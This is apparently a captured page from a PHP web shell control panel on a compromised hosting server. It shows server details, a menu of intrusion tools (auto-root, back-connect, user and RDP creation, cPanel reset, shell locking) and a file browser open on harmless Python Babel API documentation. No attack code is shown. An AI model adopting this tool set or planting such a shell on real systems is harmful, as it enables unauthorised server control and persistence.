Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.14.134.18
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-babel-0.9.6 /
doc /
api /
[ HOME SHELL ]
Name
Size
Permission
Action
api-objects.txt
28.73
KB
-rw-r--r--
babel-module.html
8.79
KB
-rw-r--r--
babel.core-module.html
23.42
KB
-rw-r--r--
babel.core.Locale-class.html
67.38
KB
-rw-r--r--
babel.core.UnknownLocaleError-...
7.81
KB
-rw-r--r--
babel.dates-module.html
34.05
KB
-rw-r--r--
babel.localedata-module.html
10.42
KB
-rw-r--r--
babel.messages-module.html
6.66
KB
-rw-r--r--
babel.messages.catalog-module....
5
KB
-rw-r--r--
babel.messages.catalog.Catalog...
48.08
KB
-rw-r--r--
babel.messages.catalog.Message...
19.95
KB
-rw-r--r--
babel.messages.catalog.Transla...
6.08
KB
-rw-r--r--
babel.messages.checkers-module...
6.48
KB
-rw-r--r--
babel.messages.extract-module....
27.71
KB
-rw-r--r--
babel.messages.frontend-module...
9.14
KB
-rw-r--r--
babel.messages.frontend.Comman...
17.97
KB
-rw-r--r--
babel.messages.frontend.compil...
18
KB
-rw-r--r--
babel.messages.frontend.extrac...
19.74
KB
-rw-r--r--
babel.messages.frontend.init_c...
17.69
KB
-rw-r--r--
babel.messages.frontend.update...
18.76
KB
-rw-r--r--
babel.messages.jslexer-module....
24.12
KB
-rw-r--r--
babel.messages.jslexer.Token-c...
11.49
KB
-rw-r--r--
babel.messages.mofile-module.h...
9.78
KB
-rw-r--r--
babel.messages.plurals-module....
13.51
KB
-rw-r--r--
babel.messages.pofile-module.h...
15.93
KB
-rw-r--r--
babel.numbers-module.html
26.44
KB
-rw-r--r--
babel.numbers.NumberFormatErro...
6.19
KB
-rw-r--r--
babel.support-module.html
5.08
KB
-rw-r--r--
babel.support.Format-class.htm...
22.92
KB
-rw-r--r--
babel.support.LazyProxy-class....
27.34
KB
-rw-r--r--
babel.support.Translations-cla...
22.91
KB
-rw-r--r--
babel.util-module.html
14.88
KB
-rw-r--r--
babel.util.odict-class.html
28.24
KB
-rw-r--r--
class-tree.html
9.4
KB
-rw-r--r--
crarr.png
340
B
-rw-r--r--
epydoc.css
5.53
KB
-rw-r--r--
epydoc.js
10.33
KB
-rw-r--r--
help.html
10.6
KB
-rw-r--r--
identifier-index.html
74.71
KB
-rw-r--r--
index.html
8.79
KB
-rw-r--r--
module-tree.html
6.73
KB
-rw-r--r--
redirect.html
1.89
KB
-rw-r--r--
since-index.html
6.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : babel.support.Format-class.html
<?xml version="1.0" encoding="ascii"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>babel.support.Format</title> <link rel="stylesheet" href="epydoc.css" type="text/css" /> <script type="text/javascript" src="epydoc.js"></script> </head> <body bgcolor="white" text="black" link="blue" vlink="#204080" alink="#204080"> <!-- ==================== NAVIGATION BAR ==================== --> <table class="navbar" border="0" width="100%" cellpadding="0" bgcolor="#a0c0ff" cellspacing="0"> <tr valign="middle"> <!-- Home link --> <th> <a href="babel-module.html">Home</a> </th> <!-- Tree link --> <th> <a href="module-tree.html">Trees</a> </th> <!-- Index link --> <th> <a href="identifier-index.html">Indices</a> </th> <!-- Help link --> <th> <a href="help.html">Help</a> </th> <!-- Project homepage --> <th class="navbar" align="right" width="100%"> <table border="0" cellpadding="0" cellspacing="0"> <tr><th class="navbar" align="center" ><a class="navbar" target="_top" href="../index.html">Documentation Index</a></th> </tr></table></th> </tr> </table> <table width="100%" cellpadding="0" cellspacing="0"> <tr valign="top"> <td width="100%"> <span class="breadcrumbs"> <a href="babel-module.html">Package babel</a> :: <a href="babel.support-module.html">Module support</a> :: Class Format </span> </td> <td> <table cellpadding="0" cellspacing="0"> <!-- hide/show private --> </table> </td> </tr> </table> <!-- ==================== CLASS DESCRIPTION ==================== --> <h1 class="epydoc">Class Format</h1><p class="nomargin-top"></p> <pre class="base-tree"> object --+ | <strong class="uidshort">Format</strong> </pre> <hr /> <p>Wrapper class providing the various date and number formatting functions bound to a specific locale and time-zone.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>, UTC) <span class="py-prompt">>>> </span>fmt.date(date(2007, 4, 1)) <span class="py-output">u'Apr 1, 2007'</span> <span class="py-output"></span><span class="py-prompt">>>> </span>fmt.decimal(1.2345) <span class="py-output">u'1.234'</span></pre> <!-- ==================== INSTANCE METHODS ==================== --> <a name="section-InstanceMethods"></a> <table class="summary" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr bgcolor="#70b0f0" class="table-header"> <td align="left" colspan="2" class="table-header"> <span class="table-header">Instance Methods</span></td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#__init__" class="summary-sig-name">__init__</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">locale</span>, <span class="summary-sig-arg">tzinfo</span>=<span class="summary-sig-default">None</span>)</span><br /> Initialize the formatter.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#date" class="summary-sig-name">date</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">date</span>=<span class="summary-sig-default">None</span>, <span class="summary-sig-arg">format</span>=<span class="summary-sig-default"><code class="variable-quote">'</code><code class="variable-string">medium</code><code class="variable-quote">'</code></span>)</span><br /> Return a date formatted according to the given pattern.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#datetime" class="summary-sig-name">datetime</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">datetime</span>=<span class="summary-sig-default">None</span>, <span class="summary-sig-arg">format</span>=<span class="summary-sig-default"><code class="variable-quote">'</code><code class="variable-string">medium</code><code class="variable-quote">'</code></span>)</span><br /> Return a date and time formatted according to the given pattern.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#time" class="summary-sig-name">time</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">time</span>=<span class="summary-sig-default">None</span>, <span class="summary-sig-arg">format</span>=<span class="summary-sig-default"><code class="variable-quote">'</code><code class="variable-string">medium</code><code class="variable-quote">'</code></span>)</span><br /> Return a time formatted according to the given pattern.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#number" class="summary-sig-name">number</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">number</span>)</span><br /> Return an integer number formatted for the locale.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#decimal" class="summary-sig-name">decimal</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">number</span>, <span class="summary-sig-arg">format</span>=<span class="summary-sig-default">None</span>)</span><br /> Return a decimal number formatted for the locale.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#currency" class="summary-sig-name">currency</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">number</span>, <span class="summary-sig-arg">currency</span>)</span><br /> Return a number in the given currency formatted for the locale.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#percent" class="summary-sig-name">percent</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">number</span>, <span class="summary-sig-arg">format</span>=<span class="summary-sig-default">None</span>)</span><br /> Return a number formatted as percentage for the locale.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td width="15%" align="right" valign="top" class="summary"> <span class="summary-type"> </span> </td><td class="summary"> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr> <td><span class="summary-sig"><a href="babel.support.Format-class.html#scientific" class="summary-sig-name">scientific</a>(<span class="summary-sig-arg">self</span>, <span class="summary-sig-arg">number</span>)</span><br /> Return a number formatted using scientific notation for the locale.</td> <td align="right" valign="top"> </td> </tr> </table> </td> </tr> <tr> <td colspan="2" class="summary"> <p class="indent-wrapped-lines"><b>Inherited from <code>object</code></b>: <code>__delattr__</code>, <code>__format__</code>, <code>__getattribute__</code>, <code>__hash__</code>, <code>__new__</code>, <code>__reduce__</code>, <code>__reduce_ex__</code>, <code>__repr__</code>, <code>__setattr__</code>, <code>__sizeof__</code>, <code>__str__</code>, <code>__subclasshook__</code> </p> </td> </tr> </table> <!-- ==================== PROPERTIES ==================== --> <a name="section-Properties"></a> <table class="summary" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr bgcolor="#70b0f0" class="table-header"> <td align="left" colspan="2" class="table-header"> <span class="table-header">Properties</span></td> </tr> <tr> <td colspan="2" class="summary"> <p class="indent-wrapped-lines"><b>Inherited from <code>object</code></b>: <code>__class__</code> </p> </td> </tr> </table> <!-- ==================== METHOD DETAILS ==================== --> <a name="section-MethodDetails"></a> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr bgcolor="#70b0f0" class="table-header"> <td align="left" colspan="2" class="table-header"> <span class="table-header">Method Details</span></td> </tr> </table> <a name="__init__"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">__init__</span>(<span class="sig-arg">self</span>, <span class="sig-arg">locale</span>, <span class="sig-arg">tzinfo</span>=<span class="sig-default">None</span>)</span> <br /><em class="fname">(Constructor)</em> </h3> </td><td align="right" valign="top" > </td> </tr></table> Initialize the formatter. <dl class="fields"> <dt>Parameters:</dt> <dd><ul class="nomargin-top"> <li><strong class="pname"><code>locale</code></strong> - the locale identifier or <a href="babel.core.Locale-class.html" class="link">Locale</a> instance</li> <li><strong class="pname"><code>tzinfo</code></strong> - the time-zone info (a <code class="link">tzinfo</code> instance or <code class="link">None</code>)</li> </ul></dd> <dt>Overrides: object.__init__ </dt> </dl> </td></tr></table> </div> <a name="date"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">date</span>(<span class="sig-arg">self</span>, <span class="sig-arg">date</span>=<span class="sig-default">None</span>, <span class="sig-arg">format</span>=<span class="sig-default"><code class="variable-quote">'</code><code class="variable-string">medium</code><code class="variable-quote">'</code></span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> <p>Return a date formatted according to the given pattern.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>) <span class="py-prompt">>>> </span>fmt.date(date(2007, 4, 1)) <span class="py-output">u'Apr 1, 2007'</span></pre> <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.dates-module.html#format_date" class="link">babel.dates.format_date</a> </p> </div></td></tr></table> </div> <a name="datetime"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">datetime</span>(<span class="sig-arg">self</span>, <span class="sig-arg">datetime</span>=<span class="sig-default">None</span>, <span class="sig-arg">format</span>=<span class="sig-default"><code class="variable-quote">'</code><code class="variable-string">medium</code><code class="variable-quote">'</code></span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> <p>Return a date and time formatted according to the given pattern.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span><span class="py-keyword">from</span> pytz <span class="py-keyword">import</span> timezone <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>, tzinfo=timezone(<span class="py-string">'US/Eastern'</span>)) <span class="py-prompt">>>> </span>fmt.datetime(datetime(2007, 4, 1, 15, 30)) <span class="py-output">u'Apr 1, 2007 11:30:00 AM'</span></pre> <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.dates-module.html#format_datetime" class="link">babel.dates.format_datetime</a> </p> </div></td></tr></table> </div> <a name="time"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">time</span>(<span class="sig-arg">self</span>, <span class="sig-arg">time</span>=<span class="sig-default">None</span>, <span class="sig-arg">format</span>=<span class="sig-default"><code class="variable-quote">'</code><code class="variable-string">medium</code><code class="variable-quote">'</code></span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> <p>Return a time formatted according to the given pattern.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span><span class="py-keyword">from</span> pytz <span class="py-keyword">import</span> timezone <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>, tzinfo=timezone(<span class="py-string">'US/Eastern'</span>)) <span class="py-prompt">>>> </span>fmt.time(datetime(2007, 4, 1, 15, 30)) <span class="py-output">u'11:30:00 AM'</span></pre> <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.dates-module.html#format_time" class="link">babel.dates.format_time</a> </p> </div></td></tr></table> </div> <a name="number"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">number</span>(<span class="sig-arg">self</span>, <span class="sig-arg">number</span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> <p>Return an integer number formatted for the locale.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>) <span class="py-prompt">>>> </span>fmt.number(1099) <span class="py-output">u'1,099'</span></pre> <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.numbers-module.html#format_number" class="link">babel.numbers.format_number</a> </p> </div></td></tr></table> </div> <a name="decimal"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">decimal</span>(<span class="sig-arg">self</span>, <span class="sig-arg">number</span>, <span class="sig-arg">format</span>=<span class="sig-default">None</span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> <p>Return a decimal number formatted for the locale.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>) <span class="py-prompt">>>> </span>fmt.decimal(1.2345) <span class="py-output">u'1.234'</span></pre> <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.numbers-module.html#format_decimal" class="link">babel.numbers.format_decimal</a> </p> </div></td></tr></table> </div> <a name="currency"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">currency</span>(<span class="sig-arg">self</span>, <span class="sig-arg">number</span>, <span class="sig-arg">currency</span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> Return a number in the given currency formatted for the locale. <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.numbers-module.html#format_currency" class="link">babel.numbers.format_currency</a> </p> </div></td></tr></table> </div> <a name="percent"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">percent</span>(<span class="sig-arg">self</span>, <span class="sig-arg">number</span>, <span class="sig-arg">format</span>=<span class="sig-default">None</span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> <p>Return a number formatted as percentage for the locale.</p> <pre class="py-doctest"> <span class="py-prompt">>>> </span>fmt = Format(<span class="py-string">'en_US'</span>) <span class="py-prompt">>>> </span>fmt.percent(0.34) <span class="py-output">u'34%'</span></pre> <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.numbers-module.html#format_percent" class="link">babel.numbers.format_percent</a> </p> </div></td></tr></table> </div> <a name="scientific"></a> <div> <table class="details" border="1" cellpadding="3" cellspacing="0" width="100%" bgcolor="white"> <tr><td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr valign="top"><td> <h3 class="epydoc"><span class="sig"><span class="sig-name">scientific</span>(<span class="sig-arg">self</span>, <span class="sig-arg">number</span>)</span> </h3> </td><td align="right" valign="top" > </td> </tr></table> Return a number formatted using scientific notation for the locale. <dl class="fields"> </dl> <div class="fields"> <p><strong>See Also:</strong> <a href="babel.numbers-module.html#format_scientific" class="link">babel.numbers.format_scientific</a> </p> </div></td></tr></table> </div> <br /> <!-- ==================== NAVIGATION BAR ==================== --> <table class="navbar" border="0" width="100%" cellpadding="0" bgcolor="#a0c0ff" cellspacing="0"> <tr valign="middle"> <!-- Home link --> <th> <a href="babel-module.html">Home</a> </th> <!-- Tree link --> <th> <a href="module-tree.html">Trees</a> </th> <!-- Index link --> <th> <a href="identifier-index.html">Indices</a> </th> <!-- Help link --> <th> <a href="help.html">Help</a> </th> <!-- Project homepage --> <th class="navbar" align="right" width="100%"> <table border="0" cellpadding="0" cellspacing="0"> <tr><th class="navbar" align="center" ><a class="navbar" target="_top" href="../index.html">Documentation Index</a></th> </tr></table></th> </tr> </table> <table border="0" cellpadding="0" cellspacing="0" width="100%%"> <tr> <td align="left" class="footer"> Generated by Epydoc 3.0.1 on Thu Mar 17 15:12:45 2011 </td> <td align="right" class="footer"> <a target="mainFrame" href="http://epydoc.sourceforge.net" >http://epydoc.sourceforge.net</a> </td> </tr> </table> <script type="text/javascript"> <!-- // Private objects are initially displayed (because if // javascript is turned off then we want them to be // visible); but by default, we want to hide them. So hide // them unless we have a cookie that says to show them. checkCookie(); // --> </script> </body> </html>
Close